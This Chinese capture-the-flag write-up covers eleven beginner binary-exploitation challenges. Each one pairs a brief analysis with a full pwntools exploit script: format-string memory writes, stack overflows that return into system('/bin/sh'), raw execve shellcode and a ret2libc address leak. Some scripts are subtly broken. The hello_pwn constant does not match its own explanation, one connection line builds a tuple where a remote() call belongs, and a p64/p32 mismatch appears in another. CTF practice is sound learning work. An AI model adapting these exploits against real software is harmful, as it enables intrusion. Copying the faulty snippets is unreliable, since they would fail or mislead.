0x00 get_shell
nc 连接得到flag
0x01 CGfsb
首先检查保护
在进IDA f5，发现将pwnme=8即可得到flag。
漏洞点：格式化字符漏洞，printf()函数使用不当，造成任意内存读写
查看pwnme地址如下，发现它是bss字段定义的全局变量
nc连接输入信息为aaaa加很多个控制字符发现pwnme的偏移量为10
pwnme地址本身占4个字节再加上4个字符使pwnme==8，得到flag。
exp:
from pwn import *
#p=remote('111.198.29.45',38899)
p=process('./cgfsb')
pwnme_addr=0x0804a068
payload=p32(pwnme_addr)+'aaaa%10$n'
p.recvuntil('please tell me your name:\n')
p.sendline('aaaaaaa')
p.recvuntil('leave your message please:\n')
p.sendline(payload)
print p.recv()
print p.recv()
0x02 when_did_you_born
首先查看保护
看到birth=1926就可以得到flag,但是过滤了1926,又发现gets()没有对输入检查，可以造成溢出。一直填充到v5,使v5=1926即可得到flag.
分别双击v4，v5看到，v4为var_20，v5为var_18，相差了8个字符 ,所以构造payload= payload='a'*8+p64(0x786)
exp:
from pwn import *
#p=process('./when_did_you_born')
p=remote('111.198.29.45',47814)
p.recvuntil("?")
p.sendline("1925")
p.recvuntil("?")
payload='a'*8+p32(0x786)
p.sendline(payload)
p.interactive()
0x03 hello_pwn
老规矩，先查看文件保护,然后IDA打开
如果ift条件为真，进入sub_60106c就可得到flag。
进入unk_691968和dword_60106c偏移量为4,并且没有大于read函数的范围限制，所以我们构造payload=‘a'*4+p64(1853186401)就可以覆盖dword_60106c使if为真。
exp:
from pwn import *
p=process('./hello_pwn')
p=('111.198.29.45',55581)
payload = 'a'*4+p64(18533186401)
p.recvuntil("bof")
p.sendline(payload)
p.interactive()
0x04 level0
检查保护机制，拖进IDA
看到vulnerable_function()函数存在溢出, buf的长度为0x80，但是可以输入0x200的长度。我们F12可以搜素到system和sh字符，得到系统函数的地址。所以我们构造payload在buf后面调用系统函数得到shell。r然后cat flag得到flag.
exp如下：
from pwn import *
p=remote('111.198.29.45',55317)
#p = process('./level0')
sys_addr = 0x0400320
sh_addr = 0x0400596
payload = 'a'*0x80 +p64(sys_addr)+p64(sh_addr)
p.recvuntil("Hello, World")
p.sendline(payload)
p.interactive()
0x05 level2
首先查看保护机制，IDA打开
发现溢出点buf,buf的长度为0x88,可输入0x100的长度。通过ELF搜素system和/bin/sh地址，构造payload，得到shell。
exp:
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'
elf=ELF('./level2')
sys_addr=elf.symbols['system'] #获取系统函数地址
sh_addr=elf.search('/bin/sh').next() #获取'/bin/sh'字符串地址
payload= 'a'*(0x88+0x4)+p32(sys_addr)+p32(0x12333)+p32(sh_addr)
pwn=remote('111.198.29.45',42668)
#pwn = process('./level2')
pwn.sendlineafter("Input:\n",payload)
pwn.interactive()
pwn.close()
0x06 string
首先检查保护机制
拖进IDA，这道题字符是真滴多，先分析逻辑。根据提示一步一步往下走。看到sub_400CA6函数，只要a1[0]=a1[1]就符合要求,并且发现将V1一个void指针强制类型转换成函数指针并调用了，所以我们将shellcode通过上面的read写入就会得到shell。
一直跟回去发现a1[0]=65，a1[1]=85。
那现在目标明确了，找到漏洞点，在内存中将a1[0]值改为85就找到漏洞点在sub_400BB9的printf函数，格式化字符串漏洞。造成任意地址读写。
找到format的偏移量为7。构造payload = "%85d%7$n"。
exp:
from pwn import *
p = remote('111.198.29.45',49698)
#p = process('./string1')
p.recvuntil("secret[0] is ")
v3_addr=p.recvuntil("\n")
v3_addr="0x"+v3_addr[:-1]
v3_address = eval(v3_addr)
p.recvuntil("What should your character's name be:")
p.sendline('Adam')
p.recvuntil('So, where you will go?east or up?:')
p.sendline('east')
p.recvuntil('go into there(1), or leave(0)?:')
p.sendline('1')
p.recvuntil('Give me an address')
p.send(str(v3_address)+"\n")
p.recvuntil("you wish is:\n")
payload = "%85d%7$n"
p.sendline(payload)
#shellcode = asm(shellcraft.sh())
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
p.recvuntil("Wizard: I will help you! USE YOU SPELL")
p.sendline(shellcode)
p.interactive()
0x07 guess_num
检查保护
IDA打开，逻辑是十次输入的数都要与随机生成的数相等就运行sub_C3E()得到flag，所以我们想办法修改随机数种子，让每次生成的数都一样就可以了。
那么我们可以利用的是get函数，对输入没有限制，并且v7与seed的地址是连续的，所以直接覆盖seed。查看V7的长度为32个字节，构造payload = 'a'*32+p64(1)。
exp:
from pwn import *
from ctypes import *
p = remote('111.198.29.45',36915)
#p = process('./guess_num')
p.recvuntil("Your name:")
payload = 'a'*32+p64(1)
p.sendline(payload)
//使用ctypes库调用libc.so.6来使用srand()和rand()
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(1)
for i in range(10):
a = str(libc.rand()%6+1)
p.recvuntil('Please input your guess number:')
p.sendline(a)
p.interactive()
0x08 cgpwn2
首先检查保护
IDA分析，看到main函数里gets(）可以溢出，并且name是在bss上的全局变量。
找到system的地址为0x08048420。shift+F12找不到‘/bin/sh’，所以将name输入/bin/sh，再次访问name的值不会变，name的地址就作为sh的地址。现在需要找s的偏移量为38+4。构造payload=‘a'*(38+4)+p32(sys_addr)+p32(0x123122)+p32(sh_addr),第二个p32里随便输入。
exp:
from pwn import *
p = remote('111.198.29.45',56035)
#p = process('./cgpwn2')
sys_addr = 0x08048420
sh_addr = 0x0804A080
payload = 'a'*(38+4)+p32(sys_addr)+p32(0x112233)+p32(sh_addr)
p.recvuntil('please tell me your name')
p.sendline('/bin/sh')
p.recvuntil("hello,you can leave some message here:")
p.sendline(payload)
p.interactive()
0x09 int_overflow
首先检查保护机制
拖进IDA，分析逻辑。发现check_passwd()中v3为int8型，在下面的check中也是检查v3的长度，根据有题目名称，想到v3的大小溢出,int8型最大值为2^8=256,超出之后进行模256的计算。
所以我们在输入passwd的时候将输入长度为 [259,263]之间就可以了，再利用后面的strcpy()函数，因为将s复制给dest,看到dest的偏移为0x14+0x04，再搜索sh函数得到sh地址,构造payload = 'a'*(0x14+0x4)+p32(sh_addr)。得到shell。
exp:
from pwn import *
p = remote('111.198.29.45',39063)
#p = process('./int_overflow')
sh_addr = 0x0804868B
p.recvuntil("Your choice:")
p.sendline('1')
p.recvuntil("Please input your username:")
p.sendline('Adam')
payload = 'a'*(0x14+0x4)+p32(sh_addr)
payload = payload.ljust(263,'b')
p.recvuntil('Please input your passwd:')
p.sendline(payload)
p.interactive()
0x10 level3
首先检查保护机制
拖进IDA，很明显的漏洞点，read溢出，但是找不到system,/bin/sh的地址。F12查看字符串。发现 libc start_main。
因为system是libc.so动态链接库的函数。而且在动态链接库中函数之间的偏移是固定的。即使程序有 ASLR 保护，也只是针对于地址中间位进行随机，最低的 12 位并不会发生改变。
首先，利用找到write的真实地址，然后利用这个地址算出偏移量，这里贴个计算libc的工具。找到offest之后,就可以得到system的地址和bin/sh的地址了。
exp:
#-*-coding:utf-8-*-
from pwn import *
from LibcSearcher import *
#p = process('./level3')
p = remote('111.198.29.45',48981)
elf = ELF('./level3')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
payload = 'a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.recv()
p.sendline(payload)
write_addr = u32(p.recv(4))
libc = LibcSearcher('write',write_addr)
offest = write_addr - libc.dump('write')
sys_addr = offest + libc.dump('system')
sh_addr = offest +libc.dump('str_bin_sh')
payload2 = 'a'*(0x88+4)+p32(sys_addr)+p32(0x1231)+p32(sh_addr)
p.recv()
p.sendline(payload2)
p.interactive()